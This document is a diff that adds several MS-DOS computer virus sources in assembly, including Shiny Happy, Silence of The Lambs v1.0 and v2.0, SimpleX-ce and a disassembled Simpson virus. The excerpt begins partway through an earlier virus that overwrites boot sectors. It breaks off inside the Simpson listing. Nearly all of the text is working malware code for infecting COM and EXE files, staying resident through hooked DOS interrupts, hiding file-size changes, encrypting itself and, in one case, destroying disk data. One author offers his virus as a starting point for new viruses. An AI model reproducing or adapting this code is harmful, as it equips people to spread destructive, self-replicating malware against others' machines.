compare_buff ; Points to buffer + mov ah,3Fh ; Read file + int 21h ; DOS Services + + mov bx,offset compare_buff ; Points to buffer + mov ah,encrypt_val ; Encryption value + mov [bx+offset encrypt_val-100h],ah ; Fill in the blank + mov si,100h ; Point to code's start + mov di,offset compare_buff ; Point to buffer + + repe cmpsb ; Compare buff to code + jne healthy ; Didn't match, jump... + + call close_file ; Close the file + inc byte ptr files_found ; Found one! +continue_search: mov ah,4Fh ; Find next + int 21h ; DOS Services + jnc find_healthy ; Find more +no_more_found: ret ; RETurn + +healthy: mov bx,handle ; (648C:01F2=0) + mov ah,3Eh ; Close file + int 21h ; DOS Services + + mov ax,3D02h ; Open file read&write + mov dx,9Eh ; Filename is .... + int 21h ; DOS Services + + mov si,dx ; Point to filename + mov di,offset fname ; Point to fname + mov cx,13 ; Copy 13 chars + rep movsb ; Copy filename + + mov handle,ax ; save handle + call infect_file ; infect file + call close_file ; close file + inc byte ptr success ; Success!!! + dec byte ptr files_infected ; We got one! + jz exit_virus ; Jump if zero + jmp short continue_search ; Continue the search + +close_file: mov bx,handle ; get handle + mov cx,orig_time ; get original time + mov dx,orig_date ; get original date + + mov ax,5701h ; set date/time stamp + int 21h ; DOS Services + + mov ah,3Eh ; close file + int 21h ; DOS Services + + mov cx,orig_attr ; get original attrib + mov ax,4301h ; get/set attribute + mov dx,9Eh ; point to filename + int 21h ; DOS Services + ret ; RETurn + +exit_virus: cmp byte ptr files_found,8 ; Found at least 8? + jl print_fake ; No, keep low profile + cmp byte ptr success,0 ; Got anything? + jg print_fake ; Yep, cover it up + + mov ah,9 ; Print string + mov dx,offset virus_msg ; Point to virus msg + int 21h ; DOS Services + + mov ah,19h ; Get current disk + int 21h ; Call DOS to ^ + + mov si,offset tfname ; Point to tfname + mov di,offset fname ; Point to fname + mov cx,13 ; Copy 13 chars + rep movsb ; Copy filename + + mov bx,offset kbstr ; BX points to message + xor dx,dx ; Start at boot sector + mov cx,35 ; 35 sectors + int 26h ; Absolute disk write, drive al + jmp short terminate ; End of the line! + +print_fake: mov ah,9 ; Print string + mov dx,offset fake_msg ; DX points to fake msg + int 21h ; DOS Services + +terminate: + mov ax,305h ; Set typematic rate + mov bx,31Fh ; Long delay, fast reps + int 16h ; Keyboard i/o call ^^ + int 20h ; Terminate process + +kbstr: db 'Killed by: ' ;Killed by +fname: db '1st run copy',0 ;13 spaces for filename +ekbstr: db '$' ;Terminator for string + +eof: + +;These variables are for temporary use only and are therefore excluded from +;encryption and writing to the disk (this saves time and space). + +compare_buff db 20 dup (?) +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +tfname: db 13 dup (?) + +codeseg ends + + + + end start + \ No newline at end of file diff --git a/s/SHINYHAP.ASM b/s/SHINYHAP.ASM new file mode 100755 index 0000000..222e771 --- /dev/null +++ b/s/SHINYHAP.ASM @@ -0,0 +1,543 @@ +; The Shiny Happy Virus +; By Hellraiser and Dark Angel of Phalcon/Skism + + .model tiny + .code + +id = '52' +timeid = 18h + +shiny: + call next +next: pop bp + + push ds + push es + + xor di,di + mov ds,di + cmp word ptr ds:[1*4],offset int1_2 ; installation check + jz return + + mov ax,es + dec ax + sub word ptr ds:[413h],(endheap-shiny+1023)/1024 + mov ds,ax + sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64 + sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64 + mov es,word ptr ds:[12h] + + push cs + pop ds + + lea si,[bp+shiny-next] + mov cx,(endheap-shiny+1)/2 + rep movsw + + push cs + lea ax,[bp+return-next] + push ax + + push es + mov ax,offset highentry + push ax + retf + +return: + cmp sp,id-4 + jz returnEXE +returnCOM: + pop es + pop ds + mov di,100h + push di + lea si,[bp+offset save3-next] + movsw + movsb + retn + +returnEXE: + pop es + pop ds + mov ax,es + add ax,10h + add word ptr cs:[bp+origCSIP+2-next],ax + cli + add ax,word ptr cs:[bp+origSPSS-next] + mov ss,ax + mov sp,word ptr cs:[bp+origSPSS+2-next] + sti + db 0eah +origCSIP db ? +save3 db 0cdh,20h,0 +origSPSS dd ? + +highentry: + mov cs:in21flag,0 + + xor ax,ax + mov ds,ax + + les ax,ds:[9*4] + mov word ptr cs:oldint9,ax + mov word ptr cs:oldint9+2,es + + mov ds:[9*4],offset int9 + mov ds:[9*4+2],cs + + les ax,ds:[21h*4] + mov word ptr cs:oldint21,ax + mov word ptr cs:oldint21+2,es + + mov word ptr ds:[1*4],offset int1 + mov ds:[1*4+2],cs + + mov ah, 52h + int 21h + mov ax,es:[bx-2] + mov word ptr cs:tunnel21+2, ax + mov word ptr cs:dosseg_, es + + pushf + pop ax + or ah,1 + push ax + popf + + mov ah,0bh + pushf + db 09Ah +oldint21 dd ? + + mov word ptr ds:[3*4],offset int3 + mov ds:[3*4+2],cs + mov word ptr ds:[1*4],offset int1_2 + + les bx,cs:tunnel21 + mov al,0CCh + xchg al,byte ptr es:[bx] + mov byte ptr cs:save1,al + retf + +authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0 + +int1: push bp + mov bp,sp + push ax + + mov ax, [bp+4] + cmp ax,word ptr cs:tunnel21+2 + jb foundint21 + db 3dh ; cmp ax, xxxx +dosseg_ dw ? + ja exitint1 +foundint21: + mov word ptr cs:tunnel21+2,ax + mov ax,[bp+2] + mov word ptr cs:tunnel21,ax + and byte ptr [bp+7], 0FEh +exitint1: + pop ax + pop bp + iret + +int1_2: push bp + mov bp,sp + push ax + + mov ax, [bp+4] + cmp ax,word ptr cs:tunnel21+2 + ja exitint1_2 + mov ax, [bp+2] + cmp ax,word ptr cs:tunnel21 + jbe exitint1_2 + + push ds + push bx + lds bx,cs:tunnel21 + mov byte ptr ds:[bx],0CCh + pop bx + pop ds + + and byte ptr [bp+7],0FEh +exitint1_2: + pop ax + pop bp + iret + +infect_others: + mov ax,4301h + push ax + push ds + push dx + xor cx,cx + call callint21 + + mov ax,3d02h + call callint21 + xchg ax,bx + + mov ax,5700h + call callint21 + push cx + push dx + + mov ah,3fh + mov cx,1ah + push cs + pop ds + push cs + pop es + mov dx,offset readbuffer + call callint21 + + mov ax,4202h + xor cx,cx + cwd + int 21h + + mov si,offset readbuffer + cmp word ptr [si],'ZM' + jnz checkCOM +checkEXE: + cmp word ptr [si+10h],id + jz goalreadyinfected + + mov di, offset OrigCSIP + mov si, offset readbuffer+14h + movsw + movsw + + sub si, 18h-0eh + movsw + movsw + + push bx + mov bx, word ptr readbuffer + 8 + mov cl, 4 + shl bx, cl + + push dx + push ax + + sub ax, bx + sbb dx, 0 + + mov cx, 10h + div cx + + mov word ptr readbuffer+14h, dx + mov word ptr readbuffer+16h, ax + + mov word ptr readbuffer+0Eh, ax + mov word ptr readbuffer+10h, id + + pop ax + pop dx + pop bx + + add ax, heap-shiny + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 + + mov word ptr readbuffer+4, dx + mov word ptr readbuffer+2, ax + + mov cx,1ah + jmp short finishinfection +checkCOM: + xchg cx,ax + sub cx,heap-shiny+3 + cmp cx,word ptr [si+1] +goalreadyinfected: + jz alreadyinfected + add cx,heap-shiny + + push si + mov di,offset save3 + movsw + movsb + pop di + mov al,0e9h + stosb + mov ax,3 ; cx holds bytes to write + xchg ax,cx + stosw +finishinfection: + push cx + + mov ah,40h + mov cx,heap-shiny + cwd ; xor dx,dx + call callint21 + + mov ax,4200h + xor cx,cx + cwd + int 21h + + mov ah,40h + pop cx + mov dx,offset readbuffer + call callint21 + + mov ax,5701h + pop dx + pop cx + and cl,0E0h + or cl,timeid + call callint21 + jmp doneinfect + +alreadyinfected: + pop ax + pop ax +doneinfect: + mov ah,3eh + call callint21 + + pop dx + pop ds + pop ax + pop cx + call callint21 +exitexecute: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + jmp exitint21 + +execute: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cld + + mov ax,4300h + call callint21 + jc exitexecute + push cx + + jmp infect_others + +int3: + push bp + mov bp,sp + + cmp cs:in21flag,0 + jnz leaveint21 + + inc cs:in21flag + + cmp ah,11h + jz findfirstnext + cmp ah,12h + jz findfirstnext + cmp ax,4b00h + jz execute + +exitint21: + dec cs:in21flag +leaveint21: + or byte ptr [bp+7],1 ; set trap flag upon return + dec word ptr [bp+2] ; decrement offset + call restoreint21 + pop bp + iret + +callint21: + pushf + call dword ptr cs:tunnel21 + ret + +restoreint21: + push ds + push ax + push bx + + lds bx,cs:tunnel21 + mov al,byte ptr cs:save1 + mov ds:[bx],al + + pop bx + pop ax + pop ds + + ret + +findfirstnext: + int 21h ; pre-chain interrupt + +; flags [bp+12] +; segment [bp+10] +; offset [bp+8] +; flags [bp+6] +; segment [bp+4] +; offset [bp+2] +; bp [bp] + pushf ; save results + pop [bp+6+6] + pop bp + + push ax + push bx + push ds + push es + + inc al + jz notDOS + + mov ah,51h ; Get active PSP + int 21h + mov es,bx + cmp bx,es:[16h] ; DOS calling it? + jne notDOS + + mov ah,2fh ; DTA -> ES:BX + int 21h + push es + pop ds + + cmp byte ptr [bx],0FFh + jnz regularFCB + add bx,7 +regularFCB: + cmp word ptr [bx+9],'OC' + jz checkinf + cmp word ptr [bx+9],'XE' + jnz notDOS +checkinf: + mov al,byte ptr [bx+23] + and al,1Fh + + cmp al,timeid + jnz notDOS +subtract: + sub word ptr [bx+29],heap-shiny + sbb word ptr [bx+31],0 +notDOS: + pop es + pop ds + pop bx + pop ax + + dec cs:in21flag + + cli + add sp,6 + iret + +int9: + pushf ; save flags, regs, etc... + push ax + push bx + push cx + push dx + + xor bx,bx + mov ah,0fh ; get video mode + int 10h + + mov ah,03h ; get curs pos + int 10h + + call getattrib + cmp al,')' ; happy?? + jne audi5000 ; no + + mov cs:eyesflag,0 +beforeloveshack: + call getattrib ; see if there is a nose +loveshack: + cmp al,':' ; shiny??? + je realeyes + + cmp al,'=' ; check for even =) + je realeyes + + cmp al,'|' + je realeyes + + cmp al,';' + je realeyes + + cmp cs:eyesflag,0 + jnz audi5001 + cmp al,'(' + jz audi5001 + inc cs:eyesflag + inc bl + jmp short beforeloveshack + +realeyes: + stc + adc dl,bl ; add extra backspace if so + + mov ah,02h + int 10h + + mov ax,0a28h ; 0ah, '(' ; write frown + mov cx,1 + int 10h + + jmp audi5000 +audi5001: + stc + adc dl,bl +audi5000: + inc dl ; set curs pos + mov ah,02h + int 10h + + pop dx ; restore all stuff + pop cx + pop bx + pop ax + popf + + db 0eah +oldint9 dd ? + +; reads the char at the current cursorpos - 1 + +getattrib: + dec dl ; set curs pos + mov ah,02h + int 10h + + mov ah,08h ; get char at curs + int 10h + + ret + +heap: +save1 db ? +tunnel21 dd ? +in21flag db ? +eyesflag db ? +readbuffer db 1ah dup (?) +endheap: +end shiny + diff --git a/s/SILLAMB1.ASM b/s/SILLAMB1.ASM new file mode 100755 index 0000000..286edf1 --- /dev/null +++ b/s/SILLAMB1.ASM @@ -0,0 +1,166 @@ +; Silence of The Lambs v1.0 +; (c) The Chronomancer of Demoralized Youth 1992 +; +; First version : Thursday 27th of Febuary - 01:50 CET. +; + +org 100h +jmp short dummy1 +db 'DY' +dummy1: + mov cx,(100h-80h)/2 ;save command line on stack + mov si,80h + save_parm: + push [si] + inc si + inc si + loop save_parm + + mov ah,4Eh + xor cx,cx + mov dx,offset file + int 21h + jc nomore +again: + cmp byte [9Eh],0FAh + jae more + call infect +more: + mov ah,4Fh + int 21h + jnc again +nomore: + mov cx,(100h-80h)/2 + mov si,0FEh +rest_parm: + pop [si] + dec si + dec si + loop rest_parm + + mov bx,0000h +eof equ $-2 + jmp bx + +file db '*.COM',0 + +infect: + mov bx,cs + mov si,cs + dec si + mov ds,si + cmp byte[0],'Z' + je ok_mark + jmp back2 +ok_mark: + sub word [0003h],pgfsize + jnc ok_mark2 + jmp back +ok_mark2: + mov ax,[0012h] + sub ax,pgfsize + push ax + + mov ds,bx + mov ax,4301h + xor cx,cx + mov dx,80h+1Eh + int 21h + + mov ax,3D02h + int 21h + xchg bx,ax + + pop ds + push ds + mov cx,total + xor dx,dx + mov ah,3Fh + int 21h + + cmp byte [0],'M' ;exe ? + je close + cmp byte [0],'Z' ;exe ? + je close + cmp word [2],'YD' ;allready infected? + je close + + xor cx,cx + xor dx,dx + push cx + push dx + mov ax,4202h + int 21h + + add ax,total+100h + mov cs:word [00FEh],ax + + mov ah,40h + mov cx,total + xor dx,dx + int 21h + + push cs + pop ds + + mov ah,40h + mov cx,applen + mov dx,offset append + int 21h + + mov ax,4200h + pop dx + pop cx + int 21h + + push [eof] + mov ax,word [00FEh] + mov [eof],ax + + mov ah,40h + mov dx,100h + mov cx,total + int 21h + + pop [eof] +close: + mov ah,3Eh + int 21h +back: + pop ds ;(mov ds,si) + add word [0003h],pgfsize +back2: + push cs + pop ds + ret + +append: +call $+3 +pop si +sub si,3+total +mov di,100h +mov cx,total +rep movsb +mov ax,100h +push ax +ret +applen equ $-offset append + +total equ $-100h ;size +pgfsize equ ($-100h)/16+2 ;paragraphs needed + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/s/SILLAMB2.ASM b/s/SILLAMB2.ASM new file mode 100755 index 0000000..6204adf --- /dev/null +++ b/s/SILLAMB2.ASM @@ -0,0 +1,322 @@ +; Silence of The Lambs v2.0 +; (c) -=<: DRE/\MER :>=- of Demoralized Youth 1992 +; +; THIS FILE IS FOR EDUCATION PURPOSES ONLY! +; PERMISSION IS GRANTED TO SPREAD THE SOURCE +; TO VIRUS WRITERS *ONLY*. PLEASE DO NOT MAKE +; ANY MODIFYCATIONS, UNLESS YOU ALSO INCLUDE +; THE ORIGINAL SOURCE. +; +; Assemble With A86 +; + +org 100h +jmp short dummy1 +db 'DY' +dummy1: + mov cx,length + mov si,offset enc_start + mov ah,0 +enc_key equ $-1 +dummy2: + sub byte [si],ah + inc si + add ah,0 +enc_add equ $-1 + loop dummy2 +enc_start: + mov ah,2Dh + mov ch,0FFh + mov dx,cx + int 21h + cmp al,0FFh + jne nomore + + mov ax,cs + dec ax + mov ds,ax + cmp byte [0],'Z' + jne nomore + + mov ax,word [3] + sub ax,pgfsize + jc nomore + sub word [3],pgfsize + sub word [12h],pgfsize + + mov es,word [12h] + mov si,110h + mov di,100h + mov cx,total + cld + rep movsb + + xor ax,ax + mov ds,ax + mov si,84h + mov di,old21 + movsw + movsw + + cli + mov word [84h+2],es + mov word [84h],offset ni21 + sti + +nomore: + push cs + push cs + pop es + pop ds + + mov bx,0000h ;return control to the +eof equ $-2 ;end user + jmp bx + +xclose: jmp close + +infect: + push cs + pop ds + push cs + pop es + + db 0E4h,40h + mov byte [enc_key],al + + mov ax,4300h ;use CHMOD to get file attr + xor dx,dx + int 21h + + mov [0F0h],cx ;store attr in PSP + + mov ax,4301h ;clear file attr with CHMOD + xor cx,cx + int 21h + + mov ax,3D02h ;open file for read / write + int 21h + xchg bx,ax + lahf + push ax + mov ax,5700h ;get file date & time + int 21h + + mov [0F2h],cx + mov [0F4h],dx + pop ax + sahf + jc xclose + + mov ah,3Fh ;read from file + mov cx,total + mov dx,old + int 21h + + cmp byte [old+0],'M' ;exe MZ ? + je xclose + cmp byte [old+0],'Z' ;exe ZM ? + je xclose + cmp word [old+2],'YD' ;allready infected? + je xclose + + mov ax,4202h ;lseek to EOF + xor cx,cx + xor dx,dx + int 21h + + cmp ah,0FAh + jae xclose + cmp ah,4 + jb xclose + + add ax,total+100h + mov word [00F6h],ax + + mov ah,40h ;write to EOF + mov cx,total + mov dx,old + +push cx +mov al,byte [enc_key] +mov si,dx +enc_app: +xor byte [si],al +inc si +loop enc_app +pop cx + + int 21h + + mov ah,40h ;write to EOF + mov cx,applen + mov dx,offset append + int 21h + + mov ax,4200h ;lseek to beginning of file + xor cx,cx + xor dx,dx + int 21h + + push [eof] + mov ax,word [00F6h] + mov [eof],ax + + mov ah,byte [enc_key] + db 0E4h,40h + mov byte [enc_add],al + mov dl,al + + mov si,100h + mov di,old + + cld + mov cx,offset enc_start-100h + rep movsb + + mov cx,length +enc: + lodsb + add al,ah + stosb + add ah,dl + loop enc + + mov ah,40h ;write viral code + mov dx,old + mov cx,total + int 21h + + pop [eof] +close: + mov ax,5701h + mov cx,[00F2h] + mov dx,[00F4h] + int 21h + + mov ah,3Eh ;close file + int 21h + + mov ax,4301h + mov cx,[00F0h] + xor dx,dx + int 21h + ret + +append: + call $+3 ;replace org bytes + pop si + sub si,3+total + mov di,100h + mov cx,total + mov ah,byte [enc_key] +append_enc: + lodsb + xor al,ah + stosb + loop append_enc + + mov ax,100h ;return IP to 100h when done + push ax + + sub ax,ax ;zero regs + xor bx,bx + and cx,cx + sub dx,dx + xor si,si + and di,di + sub bp,bp + + ret +applen equ $-offset append + +ni21: + pushf + cmp ah,2Dh + jne Not_Time + cmp ch,0FFh + jne Not_Time + cmp ch,dh + jne Not_time + + mov Al,0 + popf + iret +Not_Time: + cld + push ax + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + +; cmp ah,41h +; jne Not_Parse +; mov ah,3Ch +; cli +; add sp,18 +; sti +; popf +; jmp old21-1 + +Not_Parse: + cmp ax,4B00h + jne Not_Exec + + mov si,dx + push cs + pop es + xor di,di + mov cx,128 + rep movsb + + mov ax,3524h + int 21h + push es + push bx + + push cs + pop ds + + mov ax,2524h + mov dx,offset ni24 + int 21h + + call infect + + pop dx + pop ds + mov ax,2524h + int 21h + +Not_Exec: + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp far 0000:0000 +old21 equ $-4 + +ni24: mov al,0 + iret + +db 'The Silence Of The Lambs!$' + +total equ $-100h ;size +pgfsize equ (($*2)/16)+2 +length equ $-offset enc_start + +old equ $ + + + \ No newline at end of file diff --git a/s/SIMPLEX.ASM b/s/SIMPLEX.ASM new file mode 100755 index 0000000..203baeb --- /dev/null +++ b/s/SIMPLEX.ASM @@ -0,0 +1,308 @@ + +; -- +; SimpleX-ce - coded by irogen --=SiAC=-- +; -- +; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +; I just wrote this to use as a starting point for new virii - use it +; as you wish. It's a short and sweet, yet fully functional infector +; with the standard characteristics, no less, no more. If you try you +; may be able to decrease the size some. +; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +; +; Length: 486 code + 20 bytes text = 506 (+24 bytes heap in mem only) +; Type: PRhA +; Symptoms: EXE/COM size increase; conventional memory size decreased +; +; Infects files when they are executed +; Time/Date do not change +; Read-only and hidden files will be infected, and attributes restored. +; Virus installs its own critical error handler +; Size increase of 506 bytes in both COM and EXE filez +; +; The text "[irogen SimpleX-ce]" is visible within the virus code. +; +; +cseg segment + assume cs:cseg, ds:cseg, es:cseg, ss:cseg + +signal equ 0B45h +exe_id equ 'GV' + +org 0h ; hellacious EXE offset calcs if !0 +start: + + call nx ; get relative offset + nx: pop bp + sub bp,offset nx + + push ds es + mov ax,signal ; are we memory resident? + int 21h + or ax,ax + jz no_install ; if carry then we are + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((vend-start+1023)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],((vend-start+1023)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + sub byte ptr ds: [413h],(offset vend-offset start+1023)/1024;-totalmem + + no_install: + + pop es ds ; restore ES DS + cmp sp,exe_id + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + mov cx,2 + rep movsw + + mov ax,100h ; jump back to 100h + push ax +_ret:ret + + exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs:[exe_jump+2+bp],cx + mov sp,oldsp ; restore old SP.. (SS is still same) + jmp dword ptr cs:[exe_jump+bp] +; db 0eah ; worx in debugger, not in life, +exe_jump dd 0 ; go figure.. help me someone +oldsp dw 0 + +; +; Infection routine - called from INT 21h handler. +; DS:DX=fname +; + +infect_file: + + push dx + pop si + + cmp word ptr [si+1],'MO' ; is cOMmand.com? + jz _ret + + push ds + xor ax,ax ; null ES + mov es,ax + lds ax,es:[24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es:[24h*4+2],cs ; install our handler + mov es:[24h*4],offset new_24 + pop ds + push es ; we'll need it later + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs + push ax cx ; save AX-call/CX-attrib + xor cx,cx + int 21h + + mov ax,3d02h ; open the file + int 21h + jc dont_do + + mov bx,ax ; get handle + + push cs + pop ds + + mov ah,3fh ; Read first bytes of file + mov cx,18h + lea dx,org_bytes + int 21h + + ;cmp word ptr org_byte,'ZM' ; more secure but larger & common sig. + cmp byte ptr org_bytes,'M' ; EXE? (single byte avoids heuristics) + jz do_exe + cmp byte ptr org_bytes,0FBh ; STI? + jz close + + mov ax,5700h ; get time/date + int 21h + push cx dx + + call offset_end + push ax + + xor dx,dx + mov cx,(offset heap-offset start) + mov ah,40h + int 21h + + call offset_zero + pop ax ; restore COM file size + sub ax,4 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_code + mov cx,4 + mov ah,40h + int 21h + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + + close: + + pop cx ax ; restore attrib + int 21h + + mov ah,3eh + int 21h + + dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es:[24h*4],ax + mov es:[24h*4+2],ds + + ret + + do_exe: + + cmp word ptr exe_header[10h],exe_id ; is SP our id? + jz close + + push bx + + mov ax,word ptr exe_header[10h] + mov oldsp,ax ; save old SP + mov word ptr exe_header[10h],exe_id ; mark that it's us + + les ax,dword ptr exe_header+14h ; Save old entry point + mov word ptr ds:exe_jump, ax + mov word ptr ds:exe_jump+2, es + + push cs + pop es + + call offset_end + + push dx ax dx ax ; save file size DX:AX + + mov cx,offset heap-offset start ; write virus + xor dx,dx + mov ah,40h + int 21h + + pop ax dx ; restore size + mov bx, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *16 + shl bx,cl ; ^by shifting one byte + sub ax,bx ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide AX/CX rDX + div cx + + mov word ptr exe_header+14h,dx + mov word ptr exe_header+16h,ax + + pop ax ; AX:DX file size + pop dx + pop bx + + mov cx,offset heap-offset start+10h ; calc. new size + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax ; ax=size+virus + and ah,1 + + mov word ptr exe_header+4h,dx + mov word ptr exe_header+2h,ax + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp close + +; +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h + set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; +; new 21h + +new21: + + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + xor ax,ax + iret + not_us: + cmp ax,4b00h ; execute phile? + jnz jmp_org + + push ax bx cx di dx si ds es + call infect_file + pop es ds si dx di cx bx ax + + jmp_org: + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + + +credits db '[irogen SimpleX-ce]' +new_code db 0Fbh ; STI (our marker) +new_jmp db 0E9h,0,0 ; jmp XXXX +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +vend: +cseg ends + end start + diff --git a/s/SIMPSON.ASM b/s/SIMPSON.ASM new file mode 100755 index 0000000..6ea29ef --- /dev/null +++ b/s/SIMPSON.ASM @@ -0,0 +1,381 @@ + +PAGE 59,132 + +; +; +; SIMPSON +; +; Created: 4-Dec-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 2Eh +data_10e equ 39Ah ;* +data_11e equ 39Ch ;* +data_12e equ 39Eh ;* +data_13e equ 3A0h ;* +data_14e equ 5845h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +simpson proc far + +start: + push si + xor si,si ; Zero register +loc_1: + call sub_2 + or ax,ax ; Zero ? + jz loc_2 ; Jump if zero + call sub_1 + inc si + inc data_8 + jmp short loc_3 +loc_2: + mov dx,38Bh + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + inc si +loc_3: + cmp si,data_6 + jl loc_1 ; Jump if < + cmp byte ptr data_8,0 + je loc_4 ; Jump if equal + mov ax,2BAh + push ax + call sub_5 + pop cx + jmp short loc_8 +loc_4: + cmp byte ptr data_7,6 + jbe loc_7 ; Jump if below or = + xor si,si ; Zero register + jmp short loc_6 +loc_5: + mov bx,si + shl bx,1 ; Shift w/zeros fill + push data_2[bx] + call sub_5 + pop cx + inc si +loc_6: + cmp si,3 + jl loc_5 ; Jump if < + jmp short loc_8 +loc_7: + mov ax,2BAh + push ax + call sub_5 + pop cx +loc_8: + jmp short $+2 ; delay for I/O + pop si + retn + +simpson endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov dx,data_3 + add dx,1Eh + xor cx,cx ; Zero register + mov al,1 + mov ah,43h ; 'C' + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov ax,data_3 + add ax,1Eh + push ax + call sub_8 + pop cx + mov bx,ds:data_10e + mov cx,data_5 + mov dx,data_4 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + call sub_4 + call sub_9 + jmp short $+2 ; delay for I/O + retn +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov ax,38Eh + push ax + call sub_6 + pop cx + cmp ax,12h + je loc_12 ; Jump if equal + call sub_3 + or ax,ax ; Zero ? + jz loc_9 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 + jmp short loc_12 +loc_9: + jmp short loc_11 +loc_10: + call sub_3 + or ax,ax ; Zero ? + jz loc_11 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 +loc_11: + call sub_7 + cmp ax,12h + jne loc_10 ; Jump if not equal +loc_12: + mov ax,394h + push ax + call sub_6 + pop cx + cmp ax,12h + je loc_16 ; Jump if equal + call sub_3 + or ax,ax ; Zero ? + jz loc_13 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 + jmp short loc_16 +loc_13: + jmp short loc_15 +loc_14: + call sub_3 + or ax,ax ; Zero ? + jz loc_15 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 +loc_15: + call sub_7 + cmp ax,12h + jne loc_14 ; Jump if not equal +loc_16: + xor ax,ax ; Zero register + jmp short loc_ret_17 + +loc_ret_17: + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + push si + mov bx,data_3 + mov ax,[bx+18h] + mov ds:data_11e,ax + mov bx,data_3 + mov ax,[bx+16h] + mov ds:data_12e,ax + mov ax,data_3 + add ax,1Eh + push ax + call sub_8 + pop cx + mov bx,ds:data_10e + mov cx,14h + mov dx,data_13e + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + call sub_4 + call sub_9 + xor si,si ; Zero register + jmp short loc_20 +loc_18: + mov al,ds:data_13e[si] + mov bx,data_4 + cmp al,[bx+si] + je loc_19 ; Jump if equal + mov ax,1 + jmp short loc_21 +loc_19: + inc si +loc_20: + cmp si,14h + jl loc_18 ; Jump if < + inc data_7 + xor ax,ax ; Zero register + jmp short loc_21 +loc_21: + pop si + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + mov al,1 + mov bx,ds:data_10e + mov cx,ds:data_12e + mov dx,ds:data_11e + mov ah,57h ; 'W' + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + jmp short $+2 ; delay for I/O + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + push bp + mov bp,sp + push si + mov si,[bp+4] + jmp short loc_24 +loc_23: + sub byte ptr [si],0Ah + inc si +loc_24: + cmp byte ptr [si],0 + jne loc_23 ; Jump if not equal + mov dx,[bp+4] + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp short $+2 ; delay for I/O + pop si + pop bp + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push bp + mov bp,sp + mov dx,[bp+4] + mov cx,0FFh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jmp short $+2 ; delay for I/O + pop bp + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jmp short $+2 ; delay for I/O + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push bp + mov 